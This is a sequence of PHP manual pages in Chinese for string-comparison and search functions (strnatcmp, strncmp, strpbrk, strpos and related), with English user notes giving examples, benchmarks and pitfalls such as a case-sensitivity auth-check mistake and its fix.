strlen( "te\0st" ) = 5

In C, the same call would return 2.

Thus, PHP's strlen function can be used to find the number of bytes in a binary string (for example, binary data returned by base64_decode).
vcardillo at gmail dot com 14-Aug-2012 03:59
I would like to demonstrate that you need more than just this function in order to truly test for an empty string. The reason being that <?php strlen(null); ?> will return 0. So how do you know if the value was null, or truly an empty string?

<?php
$foo = null;
$len = strlen(null);
$bar = '';

echo "Length: " . strlen($foo) . "<br>";
echo "Length: $len <br>";
echo "Length: " . strlen(null) . "<br>";

if (strlen($foo) === 0) echo 'Null length is Zero <br>';
if ($len === 0) echo 'Null length is still Zero <br>';

if (strlen($foo) == 0 && !is_null($foo)) echo '!is_null(): $foo is truly an empty string <br>';
else echo '!is_null(): $foo is probably null <br>';

if (strlen($foo) == 0 && isset($foo)) echo 'isset(): $foo is truly an empty string <br>';
else echo 'isset(): $foo is probably null <br>';

if (strlen($bar) == 0 && !is_null($bar)) echo '!is_null(): $bar is truly an empty string <br>';
else echo '!is_null(): $foo is probably null <br>';

if (strlen($bar) == 0 && isset($bar)) echo 'isset(): $bar is truly an empty string <br>';
else echo 'isset(): $foo is probably null <br>';
?>

// Begin Output:
Length: 0
Length: 0
Length: 0

Null length is Zero
Null length is still Zero

!is_null(): $foo is probably null
isset(): $foo is probably null

!is_null(): $bar is truly an empty string
isset(): $bar is truly an empty string
// End Output

So it would seem you need either is_null() or isset() in addition to strlen() if you care whether or not the original value was null.
basil at gohar dot us 08-Jun-2010 02:03
We just ran into what we thought was a bug but turned out to be a documented difference in behavior between PHP 5.2 & 5.3.  Take the following code example:

<?php

$attributes = array('one', 'two', 'three');

if (strlen($attributes) == 0 && !is_bool($attributes)) {
    echo "We are in the 'if'\n";  //  PHP 5.3
} else {
    echo "We are in the 'else'\n";  //  PHP 5.2
}

?>

This is because in 5.2 strlen will automatically cast anything passed to it as a string, and casting an array to a string yields the string "Array".  In 5.3, this changed, as noted in the following point in the backward incompatible changes in 5.3 (http://www.php.net/manual/en/migration53.incompatible.php):

"The newer internal parameter parsing API has been applied across all the extensions bundled with PHP 5.3.x. This parameter parsing API causes functions to return NULL when passed incompatible parameters. There are some exceptions to this rule, such as the get_class() function, which will continue to return FALSE on error."

So, in PHP 5.3, strlen($attributes) returns NULL, while in PHP 5.2, strlen($attributes) returns the integer 5.  This likely affects other functions, so if you are getting different behaviors or new bugs suddenly, check if you have upgraded to 5.3 (which we did recently), and then check for some warnings in your logs like this:

strlen() expects parameter 1 to be string, array given in /var/www/sis/lib/functions/advanced_search_lib.php on line 1028

If so, then you are likely experiencing this changed behavior.


使用“自然顺序”算法比较字符串（不区分大小写）

  • ? strlen
  • strnatcmp ?
  • PHP Manual
  • 字符串 函数
  • 使用“自然顺序”算法比较字符串（不区分大小写）

strnatcasecmp

(PHP 4, PHP 5, PHP 7, PHP 8)

strnatcasecmp — 使用"自然顺序"算法比较字符串（不区分大小写）

说明

strnatcasecmp(string $string1, string $string2): int

该函数实现了以人类习惯对数字型字符串进行排序的比较算法。除了不区分大小写，该函数的行为与 strnatcmp() 类似。更多信息，参见：Martin Pool 的» 自然顺序的字符串比较页面。

参数

string1

第一个字符串。

string2

第二个字符串。

返回值

与其他字符串比较函数类似，如果 string1 小于 string2 返回 -1； 如果 string1 大于 string2 返回 1；如果两者相等，返回 0。

更新日志

版本 | 说明
8.2.0 | 现在此函数返回 -1 或者 1，之前返回负数或正数。

示例

Example #1 strnatcasecmp() 示例

<?php

var_dump(strnatcasecmp('Apple', 'Banana'));
var_dump(strnatcasecmp('Banana', 'Apple'));
var_dump(strnatcasecmp('apple', 'Apple'));
?>

以上示例会输出：

int(-1)
int(1)
int(0)

参见

  • preg_match() - 执行匹配正则表达式
  • strcmp() - 二进制安全字符串比较
  • strcasecmp() - 二进制安全比较字符串（不区分大小写）
  • substr() - 返回字符串的子串
  • stristr() - strstr 函数的忽略大小写版本
  • strncasecmp() - 二进制安全比较字符串开头的若干个字符（不区分大小写）
  • strncmp() - 二进制安全比较字符串开头的若干个字符
  • strstr() - 查找字符串的首次出现
  • setlocale() - 设置区域信息

User Contributed Notes

Marco 20-May-2016 10:12
Use strnatcmp to avoid the _ problem as mentioned below;

<<  The function treats '_' as after letters and numbers when it would be placed before logically. >>
chatfielddaniel at googlemail dot com 14-Apr-2011 04:07
The function treats '_' as after letters and numbers when it would be placed before logically.
thomas at uninet dot se 25-Jul-2006 12:49
There seems to be a bug in the localization for strnatcmp and strnatcasecmp. I searched the reported bugs and found a few entries which were up to four years old (but the problem still exists when using swedish characters).

These functions might work instead.
<?php
function _strnatcasecmp($left, $right) {
  return _strnatcmp(strtolower($left), strtolower($right));
}

function _strnatcmp($left, $right) {
  while((strlen($left) > 0) && (strlen($right) > 0)) {
    if(preg_match('/^([^0-9]*)([0-9].*)$/Us', $left, $lMatch)) {
      $lTest = $lMatch[1];
      $left = $lMatch[2];
    } else {
      $lTest = $left;
      $left = '';
    }
    if(preg_match('/^([^0-9]*)([0-9].*)$/Us', $right, $rMatch)) {
      $rTest = $rMatch[1];
      $right = $rMatch[2];
    } else {
      $rTest = $right;
      $right = '';
    }
    $test = strcmp($lTest, $rTest);
    if($test != 0) {
      return $test;
    }
    if(preg_match('/^([0-9]+)([^0-9].*)?$/Us', $left, $lMatch)) {
      $lTest = intval($lMatch[1]);
      $left = $lMatch[2];
    } else {
      $lTest = 0;
    }
    if(preg_match('/^([0-9]+)([^0-9].*)?$/Us', $right, $rMatch)) {
      $rTest = intval($rMatch[1]);
      $right = $rMatch[2];
    } else {
      $rTest = 0;
    }
    $test = $lTest - $rTest;
    if($test != 0) {
      return $test;
    }
  }
  return strcmp($left, $right);
}
?>

The code is not optimized. It was just made to solve my problem.


使用自然排序算法比较字符串

  • ? strnatcasecmp
  • strncasecmp ?
  • PHP Manual
  • 字符串 函数
  • 使用自然排序算法比较字符串

strnatcmp

(PHP 4, PHP 5, PHP 7, PHP 8)

strnatcmp — 使用自然排序算法比较字符串

说明

strnatcmp(string $string1, string $string2): int

该函数实现了以人类习惯对数字型字符串进行排序的比较算法，这就是"自然顺序"。注意该比较区分大小写。

参数

string1

第一个字符串。

string2

第二个字符串。

返回值

与其他字符串比较函数类似，如果 string1 小于 string2 返回 -1； 如果 string1 大于 string2 返回 1；如果两者相等，返回 0。

更新日志

版本 | 说明
8.2.0 | 现在此函数返回 -1 或者 1，之前返回负数或正数。

示例

下面的例子展示了该算法与计算机常规字符串比较算法（strcmp() 所使用的）的区别：

<?php
$arr1 = $arr2 = array("img12.png", "img10.png", "img2.png", "img1.png");
echo "Standard string comparison\n";
usort($arr1, "strcmp");
print_r($arr1);
echo "\nNatural order string comparison\n";
usort($arr2, "strnatcmp");
print_r($arr2);
?>

以上示例会输出：

Standard string comparison
Array
(
    [0] => img1.png
    [1] => img10.png
    [2] => img12.png
    [3] => img2.png
)

Natural order string comparison
Array
(
    [0] => img1.png
    [1] => img2.png
    [2] => img10.png
    [3] => img12.png
)
更多信息，参见：Martin Pool 的» 自然顺序的字符串比较 page.

参见

  • preg_match() - 执行匹配正则表达式
  • strcasecmp() - 二进制安全比较字符串（不区分大小写）
  • substr() - 返回字符串的子串
  • stristr() - strstr 函数的忽略大小写版本
  • strcmp() - 二进制安全字符串比较
  • strncmp() - 二进制安全比较字符串开头的若干个字符
  • strncasecmp() - 二进制安全比较字符串开头的若干个字符（不区分大小写）
  • strnatcasecmp() - 使用“自然顺序”算法比较字符串（不区分大小写）
  • strstr() - 查找字符串的首次出现
  • natsort() - 用“自然排序”算法对数组排序
  • natcasesort() - 用“自然排序”算法对数组进行不区分大小写字母的排序

User Contributed Notes

spamspamspam at gmx dot com 30-Oct-2018 04:24
Some more remarkable outcomes:

var_dump(strnatcmp("0.15m", "0.2m"));
int(1)

var_dump(strnatcmp("0.15m", "0.20m"));
int(-1)

It's not about localisation:

var_dump(strnatcmp("0,15m", "0,2m"));
int(1)

var_dump(strnatcmp("0,15m", "0,20m"));
int(-1)
chris at ocproducts dot com 04-May-2017 01:16
This function has some interesting behaviour on strings consisting of mixed numbers and letters.

One may expect that such a mixed string would be treated as alpha-numeric, but that is not true.

var_dump(strnatcmp('23','123')); →
int(-1)
As expected, 23<123   (even though first digit is higher, overall number is smaller)

var_dump(strnatcmp('yz','xyz')); →
int(1)
As expected, yz>xyz   (string comparison, irregardless of string length)

var_dump(strnatcmp('2x','12y')); →
int(-1)
Remarkable, 2x<12y    (does a numeric comparison)

var_dump(strnatcmp('20x','12y'));
int(1)
Remarkable, 20x>12y    (does a numeric comparison)

It seems to be splitting what is being compared into runs of numbers and letters, and then comparing each run in isolation, until it has an ordering difference.
in dot games dot mq at gmail dot com 12-Dec-2016 03:34
Can also be used with combination of a compare for an array nested value, like

<?php
$array = array(
    "city" => "xyz",
    "names" => array(
        array(
            "name" => "Ana2",
            "id" => 1
        ) ,
        array(
            "name" => "Ana1",
            "id" => 2
        )
    )
);
usort($array["names"], function ($a, $b)    {    return strnatcmp($a['name'], $b['name']);} );
thomas at uninet dot se 25-Jul-2006 12:50
There seems to be a bug in the localization for strnatcmp and strnatcasecmp. I searched the reported bugs and found a few entries which were up to four years old (but the problem still exists when using swedish characters).

These functions might work instead.
<?php
function _strnatcasecmp($left, $right) {
  return _strnatcmp(strtolower($left), strtolower($right));
}

function _strnatcmp($left, $right) {
  while((strlen($left) > 0) && (strlen($right) > 0)) {
    if(preg_match('/^([^0-9]*)([0-9].*)$/Us', $left, $lMatch)) {
      $lTest = $lMatch[1];
      $left = $lMatch[2];
    } else {
      $lTest = $left;
      $left = '';
    }
    if(preg_match('/^([^0-9]*)([0-9].*)$/Us', $right, $rMatch)) {
      $rTest = $rMatch[1];
      $right = $rMatch[2];
    } else {
      $rTest = $right;
      $right = '';
    }
    $test = strcmp($lTest, $rTest);
    if($test != 0) {
      return $test;
    }
    if(preg_match('/^([0-9]+)([^0-9].*)?$/Us', $left, $lMatch)) {
      $lTest = intval($lMatch[1]);
      $left = $lMatch[2];
    } else {
      $lTest = 0;
    }
    if(preg_match('/^([0-9]+)([^0-9].*)?$/Us', $right, $rMatch)) {
      $rTest = intval($rMatch[1]);
      $right = $rMatch[2];
    } else {
      $rTest = 0;
    }
    $test = $lTest - $rTest;
    if($test != 0) {
      return $test;
    }
  }
  return strcmp($left, $right);
}
?>

The code is not optimized. It was just made to solve my problem.


二进制安全比较字符串开头的若干个字符（不区分大小写）

  • ? strnatcmp
  • strncmp ?
  • PHP Manual
  • 字符串 函数
  • 二进制安全比较字符串开头的若干个字符（不区分大小写）

strncasecmp

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

strncasecmp — 二进制安全比较字符串开头的若干个字符（不区分大小写）

说明

strncasecmp(string $string1, string $string2, int $length): int

该函数与 strcasecmp() 类似，不同之处在于可以指定两个字符串比较时使用的长度（即最大比较长度）。

参数

string1

第一个字符串。

string2

第二个字符串。

length

最大比较长度。

返回值

如果 string1 小于 string2 返回 -1；如果 string1 大于 string2，返回 1；如果两者相等，返回 0。

更新日志

版本 | 说明
8.2.0 | 现在此函数返回 -1 或者 1，之前返回负数或正数。

示例

Example #1 strncasecmp() 示例

<?php

$var1 = 'Hello John';
$var2 = 'hello Doe';
if (strncasecmp($var1, $var2, 5) === 0) {
echo 'First 5 characters of $var1 and $var2 are equals in a case-insensitive string comparison';
}
?>

参见

  • strncmp() - 二进制安全比较字符串开头的若干个字符
  • preg_match() - 执行匹配正则表达式
  • substr_compare() - 二进制安全比较字符串（从偏移位置比较指定长度）
  • strcasecmp() - 二进制安全比较字符串（不区分大小写）
  • stristr() - strstr 函数的忽略大小写版本
  • substr() - 返回字符串的子串

User Contributed Notes

sazalach at gmail dot com 15-Dec-2015 11:14
<?php
$str1 = "red";
$str2 = "redent";
$test=strncasecmp($str1, $str2 , 3);
if ($str1==$str2)
{
echo "$test";
}
else
{
echo "$test" ;
}
?>

if we run the above script then we will get return 0, because first string $str1 = "red" and second $str2 = "redent" but in comparison i have set the first three character will try to match. as per condition if two string are equal then it will return 0. But in below example it will return greater than 0 because here is str1 is greater than str2.

<?php
$str1 = "redmyshirt";
$str2 = "redent";
$test=strncasecmp($str1, $str2 , 4);
if ($str1==$str2)
{
echo "$test";
}
else
{
echo "$test" ;
}
?>

as same if we run the below script it will return -1 because str1 is less than str2.

<?php
$str1 = "red";
$str2 = "redent";
$test=strncasecmp($str1, $str2 , 4);
if ($str1==$str2)
{
echo "$test";
}
else
{
echo "$test" ;
}
?>

ya..i think its easy to understand
saikumar dot msc at gmail dot com 01-Jun-2014 03:26
Example:
<?php
$string = "true";
if(strncasecmp($string, "Trudeau", 4)) { print "True"; } else { print "False" }
?>

If we look at above example, immediately we will say the final output will be 'False', but that's not real.

Method "strncasecmp()" returns 1 because the first four characters of 'Trud' come before the first four characters of "true" when sorted not case sensitively.


二进制安全比较字符串开头的若干个字符

  • ? strncasecmp
  • strpbrk ?
  • PHP Manual
  • 字符串 函数
  • 二进制安全比较字符串开头的若干个字符

strncmp

(PHP 4, PHP 5, PHP 7, PHP 8)

strncmp — 二进制安全比较字符串开头的若干个字符

说明

strncmp(string $string1, string $string2, int $length): int

该函数与 strcmp() 类似，不同之处在于你可以指定两个字符串比较时使用的长度（即最大比较长度）。

注意该比较区分大小写。

参数

string1

第一个字符串。

string2

第二个字符串。

length

最大比较长度。

返回值

如果 string1 小于 string2 返回 -1；如果 string1 大于 string2 返回 1；如果两者相等，返回 0。

更新日志

版本 | 说明
8.2.0 | 现在此函数返回 -1 或者 1，之前返回负数或正数。

示例

Example #1 strncmp() 示例

<?php

$var1 = 'Hello John';
$var2 = 'Hello Doe';
if (strncmp($var1, $var2, 5) === 0) {
echo 'First 5 characters of $var1 and $var2 are equals in a case-sensitive string comparison';
}
?>

参见

  • strncasecmp() - 二进制安全比较字符串开头的若干个字符（不区分大小写）
  • preg_match() - 执行匹配正则表达式
  • substr_compare() - 二进制安全比较字符串（从偏移位置比较指定长度）
  • strcmp() - 二进制安全字符串比较
  • strstr() - 查找字符串的首次出现
  • substr() - 返回字符串的子串

User Contributed Notes

samy 01-May-2017 01:40
I just want to highlight that (at least on php7), when testing for the existence of a string in the beginning of another string you should consider using substr  or strpos (if performances is an issue).

Here is a small benchmark (for what it's worth):
<?php
$n = 'abcd';
$l = strlen($n);
$haystack0 = base64_encode(random_bytes(128));

//heat
$r = 1;
for ($i = 0; $i < 100000000; $i++)
    $r += $r * $r % 10000;

//tests
$k = 30000000;
$res = array();
foreach (array('found' => $n . $haystack0, 'not-found' => strrev($n) . $haystack0) as $f => $haystack) {
    $m = microtime(true);
    for ($i = 0; $i < $k; $i++)
        !strncmp($haystack, $n, $l) && $r++;
    $res["strncmp-$f"] = -$m + ($m = microtime(true));

    for ($i = 0; $i < $k; $i++)
        (strpos($haystack, $n) === 0) && $r++;
    $res["strpos-$f"] = -$m + ($m = microtime(true));

    for ($i = 0; $i < $k; $i++)
        (substr($haystack, 0, $l) === $n) && $r++;
    $res["substr-$f"] = microtime(true) - $m;
}

//print
asort($res);
print_r($res);
echo "\n$r"; // makes sure no auto-optimization occurs
?>

This outputs:
<?php /*
    [strpos-found]        => 1.3313138484955
    [substr-not-found]    => 1.4832630157471
    [substr-found]        => 1.6976611614227
    [strpos-not-found]    => 2.0043320655823
    [strncmp-not-found]    => 2.0969619750977
    [strncmp-found]        => 2.3616981506348
*/ ?>
salehrezq at gmail dot com 06-Oct-2016 03:42
A note not included in the documentation:

int strcmp ( string $str1 , string $str2 )

Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.

My addendum:
If str1 and str2 are not equal, and str1 is a sub-string of str2 or vise versa. The returned int value will be negative or positive indicating how many characters the difference is between the two strings in absolute terms.

Example:

<?php
$str1 = "phpaaa";
$str2 = "php";

echo strcmp($str1, $str2); // 3
?>

since str2 = "php" is a sub-string of str1 = "phpaaa" and "phpaaa" is greater than "php" the returned value is positive and is 3 indicating how many characters the difference is between the two strings.

If you replace the value of str1 with str2 the result will be -3 (negative) but still indicates the absolute difference which is 3
bobvin at pillars dot net 19-May-2011 07:25
For checking matches at the beginning of a short string, strpos() is about 15% faster than strncmp().

Here's a benchmark program to prove it:

<?php
$haystack = "abcdefghijklmnopqrstuvwxyz";
$needles = array('abc', 'xyz', '123');
foreach ($needles as $needle) {
  $times['strncmp'][$needle] = -microtime(true);
  for ($i = 0; $i < 1000000; $i++) {
    $result = strncmp($haystack, $needle, 3) === 0;
  }
  $times['strncmp'][$needle] += microtime(true);
}
foreach ($needles as $needle) {
  $times['strpos'][$needle] = -microtime(true);
  for ($i = 0; $i < 1000000; $i++) {
    $result = strpos($haystack, $needle) === 0;
  }
  $times['strpos'][$needle] += microtime(true);
}
var_export($times);
?>
elloromtz at gmail dot com 19-Apr-2010 05:25
if length is 0 regardless what the two strings are, it will return 0

<?php
strncmp("xybc","a3234",0); // 0
strncmp("blah123","hohoho", 0); //0
?>
codeguru at crazyprogrammer dot cba dot pl 24-Jan-2008 11:07
I ran the following experiment to compare arrays.

1 st - using (substr($key,0,5 == "HTTP_") & 2 nd - using (!strncmp($key, 'HTTP_', 5))

I wanted to work out the fastest way to get the first few characters from a array

BENCHMARK ITERATION RESULT IS:
if (substr($key,0,5 == "HTTP_").... -   0,000481s
if (!strncmp($key, 'HTTP_', 5)).... -     0,000405s

strncmp() is 20% faster than substr() :D

<?php
// SAMPLE FUNCTION
function strncmp_match($arr)
{
foreach ($arr as $key => $val)
    {
    //if (substr($key,0,5 == "HTTP_")
    if (!strncmp($key, 'HTTP_', 5))
        {
    $out[$key] = $val;
        }
    }
return $out;
}

// EXAMPLE USE
?><pre><?php
print_r(strncmp_match($_SERVER));
?></pre>

will display code like this:

Array
(
    [HTTP_ACCEPT] => XXX
    [HTTP_ACCEPT_LANGUAGE] => pl
    [HTTP_UA_CPU] => x64
    [HTTP_ACCEPT_ENCODING] => gzip, deflate
    [HTTP_USER_AGENT] => Mozilla/4.0
                                    (compatible; MSIE 7.0;
                                     Windows NT 5.1;
                                    .NET CLR 1.1.4322;
                                    .NET CLR 2.0.50727)
    [HTTP_HOST] => XXX.XXX.XXX.XXX
    [HTTP_CONNECTION] => Keep-Alive
    [HTTP_COOKIE] => __utma=XX;__utmz=XX.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)
)


在字符串中查找一组字符的任何一个字符

  • ? strncmp
  • strpos ?
  • PHP Manual
  • 字符串 函数
  • 在字符串中查找一组字符的任何一个字符

strpbrk

(PHP 5, PHP 7, PHP 8)

strpbrk — 在字符串中查找一组字符的任何一个字符

说明

strpbrk(string $string, string $characters): string|false

strpbrk() 在 string 字符串中查找 characters。

参数

string

在此字符串中查找 string。

characters

该参数区分大小写。

返回值

返回以找到的字符开始的子字符串。如果没有找到，则返回 false。

示例

Example #1 strpbrk() 示例

<?php

$text = 'This is a Simple text.';

// 输出 "is is a Simple text."，因为 'i' 先被匹配
echo strpbrk($text, 'mi');

// 输出 "Simple text."，因为字符区分大小写
echo strpbrk($text, 'S');
?>

参见

  • strpos() - 查找字符串首次出现的位置
  • strstr() - 查找字符串的首次出现
  • preg_match() - 执行匹配正则表达式

User Contributed Notes

guillaume dot barranco at free dot fr 16-Oct-2017 02:56
A little modification to Evan's code to use an array for the second parameter :

<?php

function strpbrkpos($s, $accept) {
  $r = FALSE;
  $t = 0;
  $i = 0;
  $accept_l = count($accept);

  for ( ; $i < $accept_l ; $i++ )
    if ( ($t = strpos($s, $accept[$i])) !== FALSE )
      if ( ($r === FALSE) || ($t < $r) )
        $r = $t;

    return $r;
}

?>
devnuhl 11-Jul-2014 08:12
If you're not looking to duplicate the rest of the string, but instead just want the offset, in the spirit of the str*pos() functions, use strcspn()


查找字符串首次出现的位置

  • ? strpbrk
  • strrchr ?
  • PHP Manual
  • 字符串 函数
  • 查找字符串首次出现的位置

strpos

(PHP 4, PHP 5, PHP 7, PHP 8)

strpos — 查找字符串首次出现的位置

说明

strpos(string $haystack, string $needle, int $offset = 0): int|false

返回 needle 在 haystack 中首次出现的数字位置。

参数

haystack

在该字符串中进行查找。

needle

要搜索的字符串。

Prior to PHP 8.0.0, if needle is not a string, it is converted to an integer and applied as the ordinal value of a character. This behavior is deprecated as of PHP 7.3.0, and relying on it is highly discouraged. Depending on the intended behavior, the needle should either be explicitly cast to string, or an explicit call to chr() should be performed.

offset

如果提供了此参数，搜索会从字符串该字符数的起始位置开始统计。 如果是负数，搜索会从字符串结尾指定字符数开始。

返回值

返回 needle 存在于 haystack 字符串起始的位置(独立于 offset)。同时注意字符串位置是从0开始，而不是从1开始的。

如果没找到 needle，将返回 false。

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

更新日志

版本 | 说明
8.0.0 | needle 现在接受空字符串。
8.0.0 | 不再支持 int 传入 needle。
7.3.0 | 弃用 int 传入 needle。
7.1.0 | 开始支持负数的 offset。

示例

Example #1 使用 ===

<?php
$mystring = 'abc';
$findme = 'a';
$pos = strpos($mystring, $findme);

// 注意这里使用的是 ===。简单的 == 不能像我们期待的那样工作，
// 因为 'a' 是第 0 位置上的（第一个）字符。
if ($pos === false) {
echo "The string '$findme' was not found in the string '$mystring'";
} else {
echo "The string '$findme' was found in the string '$mystring'";
echo " and exists at position $pos";
}
?>

Example #2 使用 !==

<?php
$mystring = 'abc';
$findme = 'a';
$pos = strpos($mystring, $findme);

// 使用 !== 操作符。使用 != 不能像我们期待的那样工作，
// 因为 'a' 的位置是 0。语句 (0 != false) 的结果是 false。
if ($pos !== false) {
echo "The string '$findme' was found in the string '$mystring'";
echo " and exists at position $pos";
} else {
echo "The string '$findme' was not found in the string '$mystring'";
}
?>

Example #3 使用位置偏移量

<?php
// 忽视位置偏移量之前的字符进行查找
$newstring = 'abcdef abcdef';
$pos = strpos($newstring, 'a', 1); // $pos = 7, 不是 0
?>

注释

Note: 此函数可安全用于二进制对象。

参见

  • stripos() - 查找字符串首次出现的位置（不区分大小写）
  • str_contains() - 确定字符串是否包含指定子串
  • str_ends_with() - 检查字符串是否以指定子串结尾
  • str_starts_with() - 检查字符串是否以指定子串开头
  • strrpos() - 计算指定字符串在目标字符串中最后一次出现的位置
  • strripos() - 计算指定字符串在目标字符串中最后一次出现的位置（不区分大小写）
  • strstr() - 查找字符串的首次出现
  • strpbrk() - 在字符串中查找一组字符的任何一个字符
  • substr() - 返回字符串的子串
  • preg_match() - 执行匹配正则表达式

User Contributed Notes

sunmacet at gmail dot com 23-Nov-2020 10:14
To check that a substring is present.

Confusing check if position is not false:

if ( strpos ( $haystack , $needle ) !== FALSE )

Logical check if there is position:

if ( is_int ( strpos ( $haystack , $needle ) ) )
ds at kala-it dot de 03-Jan-2020 09:35
Note this code example below in PHP 7.3
<?php
$str = "17,25";

if(FALSE !== strpos($str, 25)){
    echo "25 is inside of str";
} else {
    echo "25 is NOT inside of str";
}
?>

Will output "25 is NOT inside of str" and will throw out a deprication message, that non string needles will be interpreted as strings in the future.

This just gave me some headache since the value I am checking against comes from the database as an integer.
hu60 dot cn at gmail dot com 09-Jun-2019 01:25
A more accurate imitation of the PHP function session_start().

Function my_session_start() does something similar to session_start() that has the default configure, and the session files generated by the two are binary compatible.

The code may help people increase their understanding of the principles of the PHP session.

<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
ini_set('session.save_path', __DIR__);

my_session_start();

echo '<p>session id: '.my_session_id().'</p>';

echo '<code><pre>';
var_dump($_SESSION);
echo '</pre></code>';

$now = date('H:i:s');
if (isset($_SESSION['last_visit_time'])) {
  echo '<p>Last Visit Time: '.$_SESSION['last_visit_time'].'</p>';
}
echo '<p>Current Time: '.$now.'</p>';

$_SESSION['last_visit_time'] = $now;

function my_session_start() {
  global $phpsessid, $sessfile;

  if (!isset($_COOKIE['PHPSESSID']) || empty($_COOKIE['PHPSESSID'])) {
    $phpsessid = my_base32_encode(my_random_bytes(16));
    setcookie('PHPSESSID', $phpsessid, ini_get('session.cookie_lifetime'), ini_get('session.cookie_path'), ini_get('session.cookie_domain'), ini_get('session.cookie_secure'), ini_get('session.cookie_httponly'));
  } else {
    $phpsessid = substr(preg_replace('/[^a-z0-9]/', '', $_COOKIE['PHPSESSID']), 0, 26);
  }

  $sessfile = ini_get('session.save_path').'/sess_'.$phpsessid;
  if (is_file($sessfile)) {
    $_SESSION = my_unserialize(file_get_contents($sessfile));
  } else {
    $_SESSION = array();
  }
  register_shutdown_function('my_session_save');
}

function my_session_save() {
  global $sessfile;

  file_put_contents($sessfile, my_serialize($_SESSION));
}

function my_session_id() {
  global $phpsessid;
  return $phpsessid;
}

function my_serialize($data) {
  $text = '';
  foreach ($data as $k=>$v) {
    // key cannot contains '|'
    if (strpos($k, '|') !== false) {
      continue;
    }
    $text.=$k.'|'.serialize($v)."\n";
  }
  return $text;
}

function my_unserialize($text) {
  $data = [];
  $text = explode("\n", $text);
  foreach ($text as $line) {
    $pos = strpos($line, '|');
    if ($pos === false) {
      continue;
    }
    $data[substr($line, 0, $pos)] = unserialize(substr($line, $pos + 1));
  }
  return $data;
}

function my_random_bytes($length) {
  if (function_exists('random_bytes')) {
      return random_bytes($length);
  }
  $randomString = '';
  for ($i = 0; $i < $length; $i++) {
      $randomString .= chr(rand(0, 255));
  }
  return $randomString;
}

function my_base32_encode($input) {
  $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
  $output = '';
  $v = 0;
  $vbits = 0;
  for ($i = 0, $j = strlen($input); $i < $j; $i++) {
    $v <<= 8;
    $v += ord($input[$i]);
    $vbits += 8;
    while ($vbits >= 5) {
      $vbits -= 5;
      $output .= $BASE32_ALPHABET[$v >> $vbits];
      $v &= ((1 << $vbits) - 1);
    }
  }
  if ($vbits > 0) {
    $v <<= (5 - $vbits);
    $output .= $BASE32_ALPHABET[$v];
  }
  return $output;
}
Jean 05-Mar-2019 05:50
When a value can be of "unknow" type, I find this conversion trick usefull and more readable than a formal casting (for php7.3+):

<?php
$time = time();
$string = 'This is a test: ' . $time;
echo (strpos($string, $time) !== false ? 'found' : 'not found');
echo (strpos($string, "$time") !== false ? 'found' : 'not found');
?>
amolocaleb at gmail dot com 06-Sep-2018 03:00
Note that strpos() is case sensitive,so when doing a case insensitive search,use stripos() instead..If the latter is not available,subject the string to strlower() first,otherwise you may end up in this situation..
<?php
//say we are matching url routes and calling access control middleware depending on the route

$registered_route = '/admin' ;
//now suppose we want to call the authorization middleware before accessing the admin route
if(strpos($path->url(),$registered_route) === 0){
     $middleware->call('Auth','login');
}
?>
and the auth middleware is as follows
<?php
class Auth{

function login(){
   if(!loggedIn()){
       return redirect("path/to/login.php");
}
return true;
}
}

//Now suppose:
$user_url = '/admin';
//this will go to the Auth middleware for checks and redirect accordingly

//But:
$user_url = '/Admin';
//this will make the strpos function return false since the 'A' in admin is upper case and user will be taken directly to admin dashboard authentication and authorization notwithstanding
?>
Simple fixes:
<?php
//use stripos() as from php 5
if(stripos($path->url(),$registered_route) === 0){
     $middleware->call('Auth','login');
}
//for those with php 4
if(stripos(strtolower($path->url()),$registered_route) === 0){
     $middleware->call('Auth','login');
}
//make sure the $registered_route is also lowercase.Or JUST UPGRADE to PHP 5>
msegit post pl 18-Jul-2018 12:41
This might be useful, I often use for parsing file paths etc.
(Some examples inside https://gist.github.com/msegu/bf7160257037ec3e301e7e9c8b05b00a )
<?php
/**
* Function 'strpos_' finds the position of the first or last occurrence of a substring in a string, ignoring number of characters
*
* Function 'strpos_' is similar to 'str[r]pos()', except:
* 1. fourth (last, optional) param tells, what to return if str[r]pos()===false
* 2. third (optional) param $offset tells as of str[r]pos(), BUT if negative (<0) search starts -$offset characters counted from the end AND skips (ignore!, not as 'strpos' and 'strrpos') -$offset-1 characters from the end AND search backwards
*
* @param string $haystack Where to search
* @param string $needle What to find
* @param int $offset (optional) Number of characters to skip from the beginning (if 0, >0) or from the end (if <0) of $haystack
* @param mixed $resultIfFalse (optional) Result, if not found
*    Example:
*    positive $offset - like strpos:
*        strpos_('abcaba','ab',1)==strpos('abcaba','ab',1)==3, strpos('abcaba','ab',4)===false, strpos_('abcaba','ab',4,'Not found')==='Not found'
*    negative $offset - similar to strrpos:
*        strpos_('abcaba','ab',-1)==strpos('abcaba','ab',-1)==3, strrpos('abcaba','ab',-3)==3 BUT strpos_('abcaba','ab',-3)===0 (omits 2 characters from the end, because -2-1=-3, means search in 'abca'!)
*
* @result int $offset Returns offset (or false), or $resultIfFalse
*/
function strpos_($haystack, $needle, $offset = 0, $resultIfFalse = false) {
    $haystack=((string)$haystack);    // (string) to avoid errors with int, float...
    $needle=((string)$needle);
    if ($offset>=0) {
        $offset=strpos($haystack, $needle, $offset);
        return (($offset===false)? $resultIfFalse : $offset);
    } else {
        $haystack=strrev($haystack);
        $needle=strrev($needle);
        $offset=strpos($haystack,$needle,-$offset-1);
        return (($offset===false)? $resultIfFalse : strlen($haystack)-$offset-strlen($needle));
    }
}
?>
marvin_elia at web dot de 19-Apr-2018 09:36
Find position of nth occurrence of a string:

    function strpos_occurrence(string $string, string $needle, int $occurrence, int $offset = null) {
        if((0 < $occurrence) && ($length = strlen($needle))) {
            do {
            } while ((false !== $offset = strpos($string, $needle, $offset)) && --$occurrence && ($offset += $length));
            return $offset;
        }
        return false;
    }
greg at spotx dot net 27-Nov-2017 12:48
Warning:
this is not unicode safe

strpos($word,'?') in e?ez-> 1
strpos($word,'?') in è?ent-> 2
Lhenry 03-Oct-2017 09:34
note that strpos( "8 june 1970"  ,  1970 ) returns FALSE..

add quotes to the needle
eef dot vreeland at gmail dot com 22-Apr-2017 01:16
To prevent others from staring at the text, note that the wording of the 'Return Values' section is ambiguous.

